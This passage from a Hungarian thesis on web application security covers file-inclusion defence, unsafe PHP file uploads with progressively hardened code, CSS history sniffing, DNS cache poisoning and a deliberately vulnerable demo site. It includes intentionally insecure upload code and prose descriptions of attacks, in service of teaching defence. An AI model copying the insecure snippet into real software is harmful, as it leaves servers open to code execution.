programot tud futtatni a szerveren a web-szerver jogosultságaival, vagyis képes olvasni,

módosítani és törölni az összes adatot.

50

Page 51: Web Alkalmazasok Biztonsága

Láthattuk, hogy ez a támadás nagyon súlyos következményekkel járhat, így

fokozottan fontos az ellene való hatékony védekezés. A legfontosabb, hogy kapcsoljuk ki a

allow_url_include kapcsolót. Ezen kívül, amikor átvesszük az oldal nevű

paramétert, validáljuk. Ez legegyszerűbben egy reguláris kifejezéssel tehető meg, mely csak

az angol ABC karaktereit fogadja el:

preg_match('/^[a-z]+$/', $_GET['oldal'], &$matches);

if (count($matches) != 1)

throw new Exception('Ervenytelen parameter');

Ezen kívül lehetőség van arra is, hogy felsoroljuk a paraméter lehetséges értékeit, és

amennyiben nem ezek közül kapunk valamit, úgy visszairányítjuk a főoldalra a látogatót:

$pages = array('fooldal', 'termekek', 'kapcsolat');

$page = $_GET['oldal'];

// Ha egyik sem a felsoroltak közül, akkor vissza

// a főoldalra

if (!in_array($page, $pages))

$page = 'fooldal';

Természetesen számos egyéb megoldás közül is választhatunk, szem előtt tartva,

hogy ellenőrzés nélkül ne adjunk át semmilyen paramétert az include() függvénynek.

51

Page 52: Web Alkalmazasok Biztonsága

3.13. A feltöltött fájlok veszélyei

Számos web-alkalmazás lehetőséget ad arra, hogy a felhasználók valamilyen fájlt –

mely többnyire kép – feltölthessenek a számítógépükről. Ebben a fejezetben azt mutatom

be, hogy ezen funkciónak milyen veszélyei lehetnek.

Példaként tételezzük fel, hogy egy olyan alkalmazást készítünk, ahova a

felhasználók képeket tölthetnek fel magukról, hogy azt másoknak megmutathassák az

interneten keresztül. Implementáljuk ezt a lehető legegyszerűbb módon:

copy($_FILES['kep']['tmp_name'], 'kepek/' .

$_FILES['kep']['name']);

Vagyis a kep néven feltöltött képet másoljuk át a kepek könyvtárba olyan néven,

amilyenen azt a felhasználó elnevezte. Itt rögtön felmerül az a probléma, hogy a

felhasználók egymás képeit könnyedén felülírhatják abban az esetben, ha azonos névvel

látták el képeiket.

Látható az is, hogy semmilyen módon nem ellenőrizzük azt, hogy a felhasználó

tényleg egy képet töltött-e fel. Mi történik akkor, ha a támadó feltölt egy exploit.php-t,

melybe ártó szándékú utasításokat tesz? Természetesen az is bekerül a kepek könyvtár alá,

így könnyedén meghívhatóvá – és lefuttathatóvá – válik.

Javítsunk az implementáción úgy, hogy csak „.jpg” és „.png” kiterjesztésű fájlokat

fogadjunk el, valamint ellenőrizzük a fájl típusát is:

52

Page 53: Web Alkalmazasok Biztonsága

$extension = substr($_FILES['kep']['name'], -4);

$type = $_FILES['kep']['type'];

if (($extension != '.jpg' && $extension != '.png') ||

$type != 'image/jpeg' && $type != 'image/png'))

throw new Exception('A feltoltott fajl nem kep');

Ezzel kiküszöböltük azt, hogy a támadó ezektől eltérő kiterjesztéssel rendelkező

fájlt töltsön fel. Azonban a fájl típusát ebben az esetben nem a PHP határozza meg, hanem a

böngésző szolgáltatja, így nem bízhatunk abban, hogy tényleg egy kép került fel a

szerverre.

Bizonyos beállítások esetében a web-kiszolgáló nem csak a „.php” kiterjesztésű

fájlokat adja át a PHP értelmezőnek, hanem az összeset. Ez azt jelenti, hogy abban az

esetben, ha a támadó átnevezi az exploit.php-t exploit.jpg-re, akkor továbbra is

képes lesz azt feltölteni, valamint lefuttatni az abban lévő parancsokat.

Javítsunk ismét a feltöltést kezelő forráskódon, vizsgáljuk meg szerver-oldalon a fájl

úgynevezett MIME típusát:

$mime = mime_content_type($_FILES['kep']

['tmp_name']);

if ($mime != 'image/jpeg' && $mime != 'image/png')

throw new Exception('A feltoltott fajl nem kep');

53

Page 54: Web Alkalmazasok Biztonsága

A mime_content_type() [90] függvény visszaadja a fájl valódi típusát, amivel

kiszűrhető a *.jpg-re átnevezett *.php fájl. Ennek ellenére egy felkészültebb támadó

még mindig át tudja juttatni a parancsokat az ellenőrzésünkön, méghozzá úgy, hogy a fájl

végéhez egyszerűen hozzáfűzi. Ezt megteheti egy megfelelő szerkesztő programmal, vagy a

Linuxon használt >> szimbólum segítségével.

Néhány képformátum (pl.: JPEG [91]) támogatja a megjegyzések használatát a

képekben. Néha a támadó ezekbe írja be az ártó szándékú kódot, mely így a kép szerves

részévé válik, valamint megmarad a képen végrehajtott különböző transzformációk során is.

Minden támadásra nehéz felkészülni, van azonban néhány módszer, mellyel

jelentősen megnehezíthetjük a támadó dolgát. Ezek közül a legfontosabb, hogy a web-

szervert állítsuk be úgy, hogy csak a *.php végű fájlokat adja át a PHP értelmezőnek.

Érdemes figyelni arra is, hogy soha ne azon a néven tároljuk el a képet, amit a felhasználó

adott neki. Ez az eltérő karakterkódolások és a felülírás potenciális lehetősége miatt

egyébként is ajánlott. Ezen kívül, ha képet kértünk be a felhasználótól, akkor a PHP GD

komponensének [92] az imagecreate() [93] metódusának a segítségével készítsünk

egy új képet, majd az imagecopy() [94] függvénnyel másoljuk át a régi megfelelő

részeit. Ezzel lehetőségünk van a védekezés mellett kontrollálni a kép méretét és felbontását

is.

A rendszer tervezésekor azt is vegyük figyelembe, hogy egy manipulált kép nem

csak szerver-oldalon okozhat problémákat, de kliens-oldali JavaScript-et is tartalmazhat,

amivel a támadónak lehetősége van egy kiszemelt áldozat nevében műveleteket

végrehajtani. Ezért is fontos, hogy a szerver már csak a megtisztított képeket adja ki a

böngészőknek.

54

Page 55: Web Alkalmazasok Biztonsága

3.14. Előzmények stíluslapokból

A böngészők egy nagyon régóta létező szolgáltatása, hogy képesek különböző

színnel jelölni azokat a linkeket, amelyeket a felhasználó korábban már meglátogatott:

2. ábra: Különböző színű linkek

Nem is gondolnánk, de ez a több mint egy évtizede elérhető szolgáltatás egy olyan

sebezhetőséget hordoz magában, mely segítségével a támadó feltérképezheti a webes

szokásainkat. Maga a módszer nagyon egyszerűen kivitelezhető. A támadó elnavigálja az

áldozatot egy saját web-oldalra. Ennek a web-oldalnak van egy olyan része, ami nem

látható, mert például egy oldalelem eltakarja. Ebbe a részbe a támadó nagy mennyiségű

linket helyez el, melyek népszerű web-oldalakra hivatkoznak. Ezután már csak annyi a

dolga, hogy JavaScript segítségével megnézze, hogy ezek közül melyek változtak át lila

színűre, így megtudja, hogy az áldozat milyen web-oldalakat látogatott meg korábban.

Ez látszólag nem olyan érzékeny információ, de gondoljunk bele, hogy ebből

kikövetkeztethető az érdeklődési körünk, nyaralásaink helyszíne, bankunk, stb., mely

információkat a későbbiekben fel tudnak használni, például célzott hirdetések során.

55

Page 56: Web Alkalmazasok Biztonsága

Szerencsére néhány böngészőgyártó már felismerte a helyzet súlyosságát, és a

következő verzióktól kezdve a JavaScript mindig azonos színt fog visszakapni, függetlenül

attól, hogy a link milyen színű a böngészőben.

Felhasználóként egyedül a „privát böngészés” móddal és az előzmények rendszeres

törlésével tudunk védekezni az ilyen jellegű visszaélések ellen, ami sok esetben

kényelmetlen, így a valódi megoldás még várat magára.

3.15. DNS gyorsítótár mérgezés (DNS cache poisoning)

A következőkben ismertetett támadás célja a legtöbb esetben az, hogy a potenciális

áldozatot adathalász oldalra (phishing site) [95] térítse. Az áldozat természetesen azt fogja

gondolni, hogy az eredeti web-oldalt látja, így gyanútlanul megadja – bejelentkezés céljából

– a jelszavát, melyet a támadó a későbbiekben felhasználhat. Különösen veszélyes a

támadás abban az esetben, ha a potenciális áldozat egy online banki szolgáltatást próbál

igénybe venni, hisz ilyenkor a támadó ellophatja a számláján lévő összeget.

56

Page 57: Web Alkalmazasok Biztonsága

A sebezhetőség a Névszerverek című fejezetben (lásd: 2.3. Névszerverek)

bemutatott DNS szerverek közötti kommunikációs protokoll alapvető hibáján, valamint a

DNS gyorsítótárak létezésén és működésén alapul. Amennyiben a felhasználó meg akar

nézni egy web-oldalt, a korábban ismertetett módon megkérdezi annak a címét a DNS

szervertől. Ez a művelet – a DNS szerverek terheltsége miatt – sok esetben lassú és

gazdaságtalan lehet, ezért úgynevezett lokális DNS gyorsítótárakat használ a legtöbb ISP

(Internet Service Provider) [96] és vállalati hálózat. Ezek úgy működnek, hogy fenntartanak

egy saját adatbázist, mely az általuk ismert domain címeket és a hozzájuk tartozó IP

címeket tartalmazzák. Ha tudnak, akkor ezen adatbázis alapján válaszolnak a kérésekre,

amennyiben viszont nem ismerik az érintett domain címet, akkor megkérdezik azt a felettük

álló master DNS szervertől. A válasz hitelességét azonban – aláírás hiányában – nem tudják

ellenőrizni. Fontos, hogy ilyenkor nem csak visszaküldik a választ, hanem el is tárolják azt,

így a későbbiekben már a master DNS szerver megkérdezése nélkül is tudnak válaszolni.

Tételezzük fel, hogy a támadó célja, hogy a http://www.enbankom.hu web-oldalra

navigáló felhasználók jelszavát ellopja, hogy így pénzt utalhasson a saját számlájára. A

támadás lépései a következők:

A támadó kérést küld a lokális DNS-nek, melyben az enbankom.hu IP címét

szeretné megtudni

Ha a lokális DNS nem ismeri ezt, akkor kérést intéz a master DNS szerver irányába

A támadó úgy tesz, mintha ő lenne a master DNS szerver, és hamis válaszokkal

„árasztja el” a lokális DNS-t, ami – mivel nem tudja a válasz hitelességét ellenőrizni

– eltárolja a kapott IP címet

Amikor a potenciális áldozat megpróbálja meglátogatni az enbankom.hu web-oldalt,

akkor kérést intéz a lokális DNS felé

57

Page 58: Web Alkalmazasok Biztonsága

Mivel annak a gyorsítótárában szerepel – támadó által megadott – cél IP, ezért a

master DNS megkérdezése nélkül válaszol a felhasználónak

A felhasználó böngészője a támadó által megadott IP címre navigál, ahol az eredeti

oldallal tökéletesen megegyező másolatot talál, ahol megadja a titkos azonosítóját és

jelszavát

A támadó a megszerzett azonosítóval és jelszóval belép a valódi enbankom.hu web-

oldalra és ellopja az áldozat pénzét

Fontos megjegyezni, hogy – részben az ilyen jellegű támadások miatt – az összes

online banki szolgáltatás HTTPS protokollt használ, melynek fontos tulajdonsága, hogy

egyértelműen azonosítható a kiszolgáló. Ezt a felhasználók legkönnyebben a böngészőjük

címsorában lévő lakatot ábrázoló szimbólum vagy valamilyen színkód meglétével

ellenőrizhetik. Ez a különböző böngészők esetében eltérőképpen néz ki:

3. ábra: Google Chrome - HTTPS használata

4. ábra: Mozilla Firefox – HTTPS használata

58

Page 59: Web Alkalmazasok Biztonsága

5. ábra: Opera – HTTPS használata

Bizonyos esetekben a támadók pont ezt a sokszínűséget használják ki úgy, hogy

elhitetik a felhasználóval, hogy biztonságos kapcsolaton keresztül böngészik. Erre a

legegyszerűbb – és talán a leghatásosabb – technika az, hogy a favicon-t [97] változtatják

meg lakatra. Nem is hinnénk, hogy ez az elsőre átlátszónak tűnő megoldás hány

figyelmetlen felhasználót képes meggyőzni annak ellenére, hogy világosan látszik, nem

https:// kezdetű a web-cím.

6. ábra: Google Chrome – Lakatot ábrázoló favicon

7. ábra: Mozilla Firefox – Lakatot ábrázoló favicon

59

Page 60: Web Alkalmazasok Biztonsága

8. ábra: Opera – Lakatot ábrázoló favicon

Szerencsére a biztonsági szakértők felismerték a DNS protokoll gyengeségét, és így

a közelmúltban bevezettek egy biztonsági kiegészítést, melynek neve DNSSEC, mely

esetében az összes válasz digitálisan aláírt.

60

Page 61: Web Alkalmazasok Biztonsága

4. Demonstrációs program

A diplomamunka részét képezi egy olyan web-oldal, mely számos kliens-oldali

támadást mutat be a gyakorlatban. Ennek a célja, hogy az elméleti tudást kiegészítve

lehetőséget adjon a fejlesztők számára, hogy az ismertetett támadásokat egy létező,

sebezhető web-alkalmazáson kipróbálhassák.

Maga a web-oldal különálló, és valamely korábban bemutatott sebezhetőséggel

rendelkező funkciókat tartalmaz. Minden ilyen funkció esetében megtalálható a sebezhető

verzió, a biztonságos verzió és a sebezhetőség részletes ismertetése. Természetesen a

honlapot alkotó forráskód teljes egészében letölthető tömörített állomány formájában.

A program kizárólag kliens-oldali biztonsági hibákkal rendelkezik. Ennek az oka,

hogy amennyiben szerver-oldali hibákat is tartalmazna, úgy magának a kiszolgálónak a

biztonságát is kockára tenné, mely veszélyeztetné a web-oldal működését.

4.1. Felhasználói dokumentáció

A forráskód, valamint a futtatásához szükséges programok elérhetőek a mellékelt

CD-n található demo könyvtárban. Ennek tartalma egy XAMPP [98] nevű telepítőállomány,

mely segítségével Microsoft Windows rendszereken kapunk egy web-kiszolgálót PHP

értelmezővel és MySQL adatbázissal kiegészítve.

Miután a web-szerver működésre kész, másoljuk be a CD-n található demo\source

tartalmát a megfelelő könyvtárba. Ezek után a böngésző címsorába gépelt localhost vagy

127.0.0.1 címen elérhetővé válik a web-oldal.

61

Page 62: Web Alkalmazasok Biztonsága

A teljes anyag – a forráskódokkal együtt – elérhető az alábbi címen:

http://websecurity.fw.hu/

4.2. Fejlesztői dokumentáció

A demonstrációs web-oldal megalkotásánál az elsődleges célom az volt, hogy olyan

programozási módszereket használjak, melyek különösebb szakképzettség nélkül is

könnyedén érthetőek. Nem törekedtem az egyes funkciók redundancia mentes

implementálására, illetve nem használtam sablon motort (template engine) sem, hisz ezek

ismerete nem szükséges a programozási hibák megértéséhez.

Maga az alkalmazás szerver-oldali része PHP, a kliens-oldali JavaScript nyelven

íródott. Ezen kívül különböző leíró nyelveket is felhasználtam, úgymint HTML és CSS. A

források megtalálhatóak a CD melléklet demo\source könyvtárban, illetve letölthetőek az

alábbi címről:

http://websecurity.fw.hu/sources.zip

62

Page 63: Web Alkalmazasok Biztonsága

5. Összegzés

A diplomamunkámban ismertetett támadásokat szinte kivétel nélkül alkalmazták

már a valódi webes szolgáltatások manipulálására, adatok ellopására. Célom az volt, hogy

bemutassam ezen sebezhetőségek sokszínűségét, valamint azt, hogy bizonyos apró

figyelmetlenségek milyen súlyos biztonsági következményeket eredményezhetnek.

Bizonyos vélemények szerint az ilyen jellegű írásokat nem lenne szabad publikálni,

hisz ezek segíthetik az esetleges támadókat. Ez azonban felvet egy kérdést, melyet érdemes

magunknak feltennünk. Mi segíti inkább a web-alkalmazások fejlődését és biztonságát? Az,

ha megpróbáljuk elhallgatni a támadási módszereket, vagy az, ha ilyen és ehhez hasonló

írásokhoz jutnak a fejlesztők, melyek elolvasása és megértése után képesek lesznek jobb és

biztonságosabb megoldásokat alkalmazni?

Személyes véleményem, hogy a biztonsági hibák keresése különböző rendszerekben

nem elítélendő tevékenység, sokkal inkább bátorítandó. Ne feledkezzünk meg arról sem,

hogy amennyiben felfedezünk egy hiányosságot, azt a lehető leghamarabb jelezzük a

készítőjének, megelőzendő, hogy valaki azt kihasználva visszaéléseket kövessen el.

Mindig tartsuk szem előtt, hogy elsősorban a fejlesztő felelőssége, ha a felhasználó

személyes információi illetéktelenül harmadik félhez jutnak. Az örök szabály, hogy soha ne

bízzunk meg a felhasználótól érkező adatokban, minden esetben szigorúan validáljuk

azokat. Ezen kívül kiemelten fontos, hogy azon adatoknál, melyek a HTML forrásban

megjelennek, minden esetben gondoskodjunk arról, hogy a megfelelő vezérlőkarakterek

eltávolításra kerüljenek.

63

Page 64: Web Alkalmazasok Biztonsága

Mit tehetünk felhasználóként, hogy megelőzzük ezeket a támadásokat? A

legfontosabb, hogy legyünk körültekintőek. Soha ne dőljünk be egy olyan e-mailnek, mely

számunka ismeretlen feladótól érkezett. Ne nyissunk meg ismeretlen forrásból származó

hivatkozásokat. Legyünk szkeptikusak. Amennyiben olyan web-oldalakat látogatunk,

melyek biztonsága fokozottan fontos a számunka (pl.: online banki szolgáltatás), akkor

minden esetben ellenőrizzük a bank domain nevét, illetve azt, hogy biztonságos – HTTPS –

kapcsolaton keresztül érjük-e el azt. Amennyiben valamilyen eltérést tapasztalunk a

megszokottól, ne adjuk meg a jelszavunkat, hanem vegyük fel a kapcsolatot a rendszert

üzemeltető adminisztrátorral.

Annak ellenére, hogy a témában számos magyar és idegen nyelvű publikáció érhető

el, kevés olyan van, mely megfelelően bemutatja a web-alkalmazásokat érintő

sebezhetőségeket, és az azokhoz tartozó javításokat. A legtöbb ilyen portál nem foglalkozik

a háttérben történő folyamatokkal, illetve a javítással, csupán a sebezhetőség tényét közli,

melynek megértése túlmutat egy átlagos fejlesztő ismeretein.

Összegzésképpen úgy gondolom, hogy a felhasználókat is érintő fontos

problémakört sikerült bemutatnom, de természetesen a teljes témakör lefedése nem lehetett

a cél. A diplomamunka megírása során végzett kutatásaim és megoldásaim nagymértékben

bővítették a szakmai ismereteimet.

64

Page 65: Web Alkalmazasok Biztonsága

6. Hivatkozások

[1] http://www.internetworldstats.com/emarketing.htm, (2010. 05. 03.)

[2] http://en.wikipedia.org/wiki/Cloud_computing, (2010. 04. 18.)

[3] http://en.wikipedia.org/wiki/Social_network, (2010. 04. 18.)

[4] http://en.wikipedia.org/wiki/Web_application, (2010. 04. 15.)

[5] http://en.wikipedia.org/wiki/OSI_model, (2010. 04. 13.)

[6] http://en.wikipedia.org/wiki/Application_Layer, (2010. 04. 13.)

[7] http://en.wikipedia.org/wiki/Client%E2%80%93server_model, (2010. 05. 28.)

[8] http://www.adobe.com/products/flashplayer/, (2010. 04. 26.)

[9] http://www.microsoft.com/silverlight/, (2010. 04. 26.)

[10] http://en.wikipedia.org/wiki/Fat_client, (2010. 04. 26.)

[11] http://en.wikipedia.org/wiki/Hardware_acceleration, (2010. 04. 26.)

[12] http://code.google.com/apis/o3d/, (2010. 04. 26.)

[13] http://en.wikipedia.org/wiki/Web_server, (2010. 04. 22.)

[14] http://en.wikipedia.org/wiki/Relational_database, (2010. 05. 24.)

[15] http://en.wikipedia.org/wiki/Web_browser, (2010. 04. 17.)

[16] http://en.wikipedia.org/wiki/Uniform_Resource_Locator, (2010. 04. 20.)

[17] http://en.wikipedia.org/wiki/Domain_name, (2010. 04. 20.)

[18] http://en.wikipedia.org/wiki/Domain_Name_System, (2010. 04. 20.)

65

Page 66: Web Alkalmazasok Biztonsága

[19] http://en.wikipedia.org/wiki/IP_address, (2010. 04. 20.)

[20] http://en.wikipedia.org/wiki/HTML, (2010. 05. 17.)

[21] http://en.wikipedia.org/wiki/Cascading_Style_Sheets, (2010. 05. 04.)

[22] http://en.wikipedia.org/wiki/Top-level_domain, (2010. 05. 24.)

[23] http://www.dnssec.net/, (2010. 04. 25.)

[24] http://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol, (2010. 05. 26.)

[25] http://en.wikipedia.org/wiki/HTTP_Secure, (2010. 05. 26.)

[26] http://en.wikipedia.org/wiki/Binary_file, (2010. 04. 06.)

[27] http://en.wikipedia.org/wiki/Base64, (2010. 04. 06.)

[28] http://en.wikipedia.org/wiki/ASCII#ASCII_printable_characters, (2010. 04. 11.)

[29] http://en.wikipedia.org/wiki/Human-readable_medium, (2010. 04. 11.)

[30] http://en.wikipedia.org/wiki/Transmission_Control_Protocol, (2010. 05. 07.)

[31] http://en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol, (2010. 05. 13.)

[32] http://en.wikipedia.org/wiki/Newline, (2010. 04. 13.)

[33] http://en.wikipedia.org/wiki/Carriage_return, (2010. 04. 13.)

[34] http://en.wikipedia.org/wiki/List_of_HTTP_status_codes, (2010. 04. 14.)

[35] http://en.wikipedia.org/wiki/HTTP_cookie, (2010. 04. 24.)

[36] http://en.wikipedia.org/wiki/Keepalive, (2010. 04. 02.)

[37] http://en.wikipedia.org/wiki/Instant_messaging, (2010. 04. 14.)

[38] http://en.wikipedia.org/wiki/JavaScript, (2010. 05. 21.)

66

Page 67: Web Alkalmazasok Biztonsága

[39] http://en.wikipedia.org/wiki/Status_bar, (2010. 05. 03.)

[40] http://en.wikipedia.org/wiki/System_call, (2010. 05. 12.)

[41] http://en.wikipedia.org/wiki/Document_Object_Model, (2010. 05. 02.)

[42] http://www.google.com/chrome, (2010. 05. 15.)

[43] http://en.wikipedia.org/wiki/Remote_procedure_call, (2010. 05. 07.)

[44] http://en.wikipedia.org/wiki/Exception_handling, (2010. 05. 02.)

[45] http://en.wikipedia.org/wiki/Eavesdropping, (2010. 05. 13.)

[46] http://en.wikipedia.org/wiki/Man-in-the-middle_attack, (2010. 05. 13.)

[47] http://en.wikipedia.org/wiki/Replay_attack, (2010. 05. 13.)

[48] http://en.wikipedia.org/wiki/Transport_Layer_Security, (2010. 05. 13.)

[49] http://www.rsa.com/, (2010. 04. 09.)

[50] http://en.wikipedia.org/wiki/Public_key_infrastructure, (2010. 04. 13.)

[51] http://en.wikipedia.org/wiki/X.509, (2010. 04. 13.)

[52] http://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange, (2010. 05.

12.)

[53] http://en.wikipedia.org/wiki/Certificate_authority, (2010. 04. 13.)

[54] http://en.wikipedia.org/wiki/Revocation_list, (2010. 04. 14.)

[55] http://php.net/, (2010. 04. 20.)

[56] http://en.wikipedia.org/wiki/Cross-site_scripting, (2010. 05. 01.)

[57] http://en.wikipedia.org/wiki/Validation, (2010. 04. 12.)

[58] http://en.wikipedia.org/wiki/User_experience, (2010. 05. 22.)67

Page 68: Web Alkalmazasok Biztonsága

[59] http://php.net/manual/en/function.htmlentities.php, (2010. 05. 05.)

[60] http://en.wikipedia.org/wiki/BBCode, (2010. 05. 08.)

[61] http://en.wikipedia.org/wiki/Backdoor_(computing), (2010. 05. 01.)

[62] http://en.wikipedia.org/wiki/Session_ID, (2010. 05. 22.)

[63] http://en.wikipedia.org/wiki/Exploit_(computer_security), (2010. 05. 01.)

[64] http://www.metasploit.com/, (2010. 04. 22.)

[65] http://www.utf8.com/, (2010. 04. 18.)

[66] http://www.w3schools.com/js/js_obj_string.asp, (2010. 05. 12.)

[67] http://www.w3schools.com/jsref/jsref_fromCharCode.asp, (2010. 05. 12.)

[68] http://www.w3schools.com/jsref/jsref_eval.asp, (2010. 04. 27.)

[69] http://en.wikipedia.org/wiki/Template_engine_(web), (2010. 05. 14.)

[70] http://msdn.microsoft.com/en-us/library/ms537634(VS.85).aspx, (2010. 04. 27.)

[71] http://en.wikipedia.org/wiki/Ajax_(programming), (2010. 05. 31.)

[72] http://jquery.com/, (2010. 05. 14.)

[73] http://www.json.org/, (2010. 04. 20.)

[74] http://en.wikipedia.org/wiki/HTTP_referrer, (2010. 05. 01.)

[75] http://en.wikipedia.org/wiki/SQL_injection, (2010. 04. 14.)

[76] http://en.wikipedia.org/wiki/SQL, (2010. 04. 14.)

[77] http://www.mysql.com/, (2010. 05. 08.)

[78] http://dev.mysql.com/doc/refman/5.0/en/operator-precedence.html, (2010. 05. 08.)

68

Page 69: Web Alkalmazasok Biztonsága

[79] http://en.wikipedia.org/wiki/Brute_force_attack, (2010. 05. 07.)

[80] http://en.wikipedia.org/wiki/Binary_search_algorithm, (2010. 05. 07.)

[81] http://dev.mysql.com/doc/refman/5.1/en/string-functions.html#function_length, (2010.

05. 08.)

[82] http://dev.mysql.com/doc/refman/5.1/en/string-functions.html#function_mid, (2010.

05. 08.)

[83] http://php.net/manual/en/function.mysql-real-escape-string.php, (2010. 05. 08.)

[84] http://curl.haxx.se/, (2010. 05. 10.)

[85] http://en.wikipedia.org/wiki/Chroot, (2010. 05. 10.)

[86] http://en.wikipedia.org/wiki/Null_character, (2010. 04. 27.)

[87] http://www.php.net/manual/en/filesystem.configuration.php#ini.allow-url-include,

(2010. 05. 07.)

[88] http://php.net/manual/en/function.include.php (2010. 05. 07.)

[89] http://php.net/manual/en/function.exec.php, (2010. 04. 30.)

[90] http://php.net/manual/en/function.mime-content-type.php, (2010. 04. 25.)

[91] http://www.jpeg.org/, (2010. 04. 01.)

[92] http://php.net/manual/en/book.image.php, (2010. 04. 13.)

[93] http://php.net/manual/en/function.imagecreate.php, (2010. 04. 13.)

[94] http://php.net/manual/en/function.imagecopy.php, (2010. 04. 13.)

[95] http://en.wikipedia.org/wiki/Phishing, (2010. 04. 30.)

[96] http://en.wikipedia.org/wiki/Internet_service_provider, (2010. 04. 10.)

69

Page 70: Web Alkalmazasok Biztonsága

[97] http://en.wikipedia.org/wiki/Favicon, (2010. 04. 22.)

[98] http://www.apachefriends.org/en/xampp-windows.html, (2010. 05. 05.)

70